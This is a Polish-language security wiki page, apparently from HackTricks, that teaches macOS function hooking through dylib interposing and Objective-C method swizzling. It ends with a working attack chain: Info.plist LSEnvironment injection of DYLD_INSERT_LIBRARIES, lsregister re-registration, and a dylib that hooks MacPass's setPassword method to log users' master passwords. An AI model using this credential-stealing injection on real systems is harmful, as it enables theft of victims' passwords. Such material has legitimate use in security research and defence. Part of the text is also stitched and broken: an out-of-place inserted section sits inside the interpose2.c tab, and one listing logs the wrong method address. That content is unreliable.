hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-function-hooking.md

407 lines
16 KiB
Markdown

# Hakowanie funkcji w systemie macOS
<details>
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
</details>
## Interpozycja funkcji
Utwórz **dylib** z sekcją **`__interpose`** (lub sekcją oznaczoną flagą **`S_INTERPOSING`**), zawierającą krotki **wskaźników funkcji**, które odnoszą się do **oryginalnych** i **zastępczych** funkcji.
Następnie **wstrzyknij** dylib przy użyciu **`DYLD_INSERT_LIBRARIES`** (interpozycja musi nastąpić przed załadowaniem głównej aplikacji). Oczywiście [**ograniczenia** dotyczące użycia **`DYLD_INSERT_LIBRARIES`** również mają zastosowanie tutaj](macos-library-injection/#check-restrictions).
### Interpozycja funkcji printf
{% tabs %}
{% tab title="interpose.c" %}
{% code title="interpose.c" %}
```c
// gcc -dynamiclib interpose.c -o interpose.dylib
#include <stdio.h>
#include <stdarg.h>
int my_printf(const char *format, ...) {
//va_list args;
//va_start(args, format);
//int ret = vprintf(format, args);
//va_end(args);
int ret = printf("Hello from interpose\n");
return ret;
}
__attribute__((used)) static struct { const void *replacement; const void *replacee; } _interpose_printf
__attribute__ ((section ("__DATA,__interpose"))) = { (const void *)(unsigned long)&my_printf, (const void *)(unsigned long)&printf };
```
{% endcode %}
{% endtab %}
{% tab title="hello.c" %}
```c
//gcc hello.c -o hello
#include <stdio.h>
int main() {
printf("Hello World!\n");
return 0;
}
```
{% endtab %}
{% tab title="interpose2.c" %}
### Hakowanie funkcji w systemie macOS
W systemie macOS możemy wykorzystać interpose do podmiany funkcji systemowych na własne. Możemy to zrobić poprzez użycie flagi `DYLD_INSERT_LIBRARIES` podczas uruchamiania programu.
Oto prosty przykład kodu w języku C, który demonstruje hakowanie funkcji `open` i `close`:
```c
#define _DARWIN_C_SOURCE
#include <stdio.h>
#include <dlfcn.h>
int (*original_open)(const char *pathname, int flags, mode_t mode);
int (*original_close)(int fd);
int open(const char *pathname, int flags, mode_t mode) {
printf("Hakowanie funkcji open: %s\n", pathname);
return original_open(pathname, flags, mode);
}
int close(int fd) {
printf("Hakowanie funkcji close: %d\n", fd);
return original_close(fd);
}
__attribute__((constructor))
void init() {
original_open = dlsym(RTLD_NEXT, "open");
original_close = dlsym(RTLD_NEXT, "close");
}
```
Kod ten podmienia funkcje `open` i `close`, wypisując dodatkowe informacje na konsoli. Możemy skompilować ten kod i uruchomić program z flagą `DYLD_INSERT_LIBRARIES` aby zobaczyć efekt działania naszego haka.
{% endtab %}
```c
// Just another way to define an interpose
// gcc -dynamiclib interpose2.c -o interpose2.dylib
#include <stdio.h>
#define DYLD_INTERPOSE(_replacement, _replacee) \
__attribute__((used)) static struct { \
const void* replacement; \
const void* replacee; \
} _interpose_##_replacee __attribute__ ((section("__DATA, __interpose"))) = { \
(const void*) (unsigned long) &_replacement, \
(const void*) (unsigned long) &_replacee \
};
int my_printf(const char *format, ...)
{
int ret = printf("Hello from interpose\n");
return ret;
}
DYLD_INTERPOSE(my_printf,printf);
```
{% endtab %}
{% endtabs %}
```bash
DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello
Hello from interpose
DYLD_INSERT_LIBRARIES=./interpose2.dylib ./hello
Hello from interpose
```
## Metoda Swizzling
W ObjectiveC wywołuje się metodę w ten sposób: **`[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]`**
Potrzebny jest **obiekt**, **metoda** i **parametry**. Gdy metoda jest wywoływana, **wiadomość jest wysyłana** za pomocą funkcji **`objc_msgSend`**: `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);`
Obiektem jest **`someObject`**, metoda to **`@selector(method1p1:p2:)`**, a argumenty to **value1**, **value2**.
Podążając za strukturami obiektów, można dotrzeć do **tablicy metod**, gdzie **nazwy** i **wskaźniki** do kodu metody są **umieszczone**.
{% hint style="danger" %}
Zauważ, że ponieważ metody i klasy są dostępne na podstawie swoich nazw, te informacje są przechowywane w pliku binarnym, więc można je odzyskać za pomocą `otool -ov </path/bin>` lub [`class-dump </path/bin>`](https://github.com/nygard/class-dump)
{% endhint %}
### Dostęp do surowych metod
Możliwe jest uzyskanie informacji o metodach, takich jak nazwa, liczba parametrów lub adres, jak w poniższym przykładzie:
```objectivec
// gcc -framework Foundation test.m -o test
#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#import <objc/message.h>
int main() {
// Get class of the variable
NSString* str = @"This is an example";
Class strClass = [str class];
NSLog(@"str's Class name: %s", class_getName(strClass));
// Get parent class of a class
Class strSuper = class_getSuperclass(strClass);
NSLog(@"Superclass name: %@",NSStringFromClass(strSuper));
// Get information about a method
SEL sel = @selector(length);
NSLog(@"Selector name: %@", NSStringFromSelector(sel));
Method m = class_getInstanceMethod(strClass,sel);
NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m));
NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m));
// Iterate through the class hierarchy
NSLog(@"Listing methods:");
Class currentClass = strClass;
while (currentClass != NULL) {
unsigned int inheritedMethodCount = 0;
Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount);
NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount);
for (unsigned int i = 0; i < inheritedMethodCount; i++) {
Method method = inheritedMethods[i];
SEL selector = method_getName(method);
const char* methodName = sel_getName(selector);
unsigned long address = (unsigned long)method_getImplementation(m);
NSLog(@"Inherited method name: %s (0x%lx)", methodName, address);
}
// Free the memory allocated by class_copyMethodList
free(inheritedMethods);
currentClass = class_getSuperclass(currentClass);
}
// Other ways to call uppercaseString method
if([str respondsToSelector:@selector(uppercaseString)]) {
NSString *uppercaseString = [str performSelector:@selector(uppercaseString)];
NSLog(@"Uppercase string: %@", uppercaseString);
}
// Using objc_msgSend directly
NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString));
NSLog(@"Uppercase string: %@", uppercaseString2);
// Calling the address directly
IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address
NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp
NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method
NSLog(@"Uppercase string: %@", uppercaseString3);
return 0;
}
```
### Podmiana metody za pomocą method\_exchangeImplementations
Funkcja **`method_exchangeImplementations`** pozwala **zmienić** **adres** **implementacji** jednej funkcji na drugą.
{% hint style="danger" %}
Kiedy funkcja jest wywoływana, **wykonywana jest inna funkcja**.
{% endhint %}
```objectivec
//gcc -framework Foundation swizzle_str.m -o swizzle_str
#import <Foundation/Foundation.h>
#import <objc/runtime.h>
// Create a new category for NSString with the method to execute
@interface NSString (SwizzleString)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;
@end
@implementation NSString (SwizzleString)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");
// Call the original method
return [self swizzledSubstringFromIndex:from];
}
@end
int main(int argc, const char * argv[]) {
// Perform method swizzling
Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:));
Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:));
method_exchangeImplementations(originalMethod, swizzledMethod);
// We changed the address of one method for the other
// Now when the method substringFromIndex is called, what is really called is swizzledSubstringFromIndex
// And when swizzledSubstringFromIndex is called, substringFromIndex is really colled
// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);
return 0;
}
```
{% hint style="warning" %}
W tym przypadku, jeśli **kod implementacji prawidłowej** metody **sprawdza** **nazwę metody**, może **wykryć** takie podmienianie i zapobiec jego uruchomieniu.
Następna technika nie ma tego ograniczenia.
{% endhint %}
### Podmienianie metody za pomocą method\_setImplementation
Poprzedni format jest dziwny, ponieważ zmieniasz implementację 2 metod na siebie nawzajem. Korzystając z funkcji **`method_setImplementation`** możesz **zmienić implementację metody na inną**.
Pamiętaj tylko, aby **przechować adres implementacji oryginalnej metody**, jeśli zamierzasz ją wywołać z nowej implementacji przed jej nadpisaniem, ponieważ później będzie znacznie trudniej zlokalizować ten adres.
```objectivec
#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#import <objc/message.h>
static IMP original_substringFromIndex = NULL;
@interface NSString (Swizzlestring)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;
@end
@implementation NSString (Swizzlestring)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");
// Call the original implementation using objc_msgSendSuper
return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from);
}
@end
int main(int argc, const char * argv[]) {
@autoreleasepool {
// Get the class of the target method
Class stringClass = [NSString class];
// Get the swizzled and original methods
Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:));
// Get the function pointer to the swizzled method's implementation
IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:)));
// Swap the implementations
// It return the now overwritten implementation of the original method to store it
original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP);
// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);
// Set the original implementation back
method_setImplementation(originalMethod, original_substringFromIndex);
return 0;
}
}
```
## Metodologia ataku za pomocą hookowania
Na tej stronie omówione zostały różne sposoby hookowania funkcji. Jednakże, wymagały one **uruchomienia kodu wewnątrz procesu w celu ataku**.
Aby to zrobić, najłatwiejszą techniką jest wstrzyknięcie [Dyld za pomocą zmiennych środowiskowych lub przejęcie kontroli](macos-library-injection/macos-dyld-hijacking-and-dyld\_insert\_libraries.md). Jednakże, można to również zrobić za pomocą [wstrzyknięcia procesu Dylib](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port).
Obie opcje są jednak **ograniczone** do **niechronionych** binarnych/procesów. Sprawdź każdą technikę, aby dowiedzieć się więcej o ograniczeniach.
Atak za pomocą hookowania funkcji jest bardzo specyficzny, atakujący będzie to robił, aby **ukraść wrażliwe informacje z wnętrza procesu** (jeśli nie, wystarczyłoby przeprowadzić atak wstrzyknięcia procesu). Te wrażliwe informacje mogą znajdować się w pobranych przez użytkownika aplikacjach, takich jak MacPass.
Wektor ataku polegałby na znalezieniu podatności lub usunięciu sygnatury aplikacji, a następnie wstrzyknięciu zmiennej środowiskowej **`DYLD_INSERT_LIBRARIES`** poprzez plik Info.plist aplikacji, dodając coś w rodzaju:
```xml
<key>LSEnvironment</key>
<dict>
<key>DYLD_INSERT_LIBRARIES</key>
<string>/Applications/Application.app/Contents/malicious.dylib</string>
</dict>
```
a następnie **ponownie zarejestruj** aplikację:
{% code overflow="wrap" %}
```bash
/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app
```
{% endcode %}
Dodaj do tej biblioteki kod hakowania w celu wycieku informacji: hasła, wiadomości...
{% hint style="danger" %}
Zauważ, że w nowszych wersjach macOS, jeśli **usuniesz sygnaturę** binariów aplikacji i zostały one wcześniej uruchomione, macOS **nie będzie już uruchamiał aplikacji**.
{% endhint %}
#### Przykład biblioteki
```objectivec
// gcc -dynamiclib -framework Foundation sniff.m -o sniff.dylib
// If you added env vars in the Info.plist don't forget to call lsregister as explained before
// Listen to the logs with something like:
// log stream --style syslog --predicate 'eventMessage CONTAINS[c] "Password"'
#include <Foundation/Foundation.h>
#import <objc/runtime.h>
// Here will be stored the real method (setPassword in this case) address
static IMP real_setPassword = NULL;
static BOOL custom_setPassword(id self, SEL _cmd, NSString* password, NSURL* keyFileURL)
{
// Function that will log the password and call the original setPassword(pass, file_path) method
NSLog(@"[+] Password is: %@", password);
// After logging the password call the original method so nothing breaks.
return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd, password, keyFileURL);
}
// Library constructor to execute
__attribute__((constructor))
static void customConstructor(int argc, const char **argv) {
// Get the real method address to not lose it
Class classMPDocument = NSClassFromString(@"MPDocument");
Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:));
// Make the original method setPassword call the fake implementation one
IMP fake_IMP = (IMP)custom_setPassword;
real_setPassword = method_setImplementation(real_Method, fake_IMP);
}
```
## Odnośniki
* [https://nshipster.com/method-swizzling/](https://nshipster.com/method-swizzling/)
<details>
<summary><strong>Zacznij od zera i zostań mistrzem hakowania AWS dzięki</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
</details>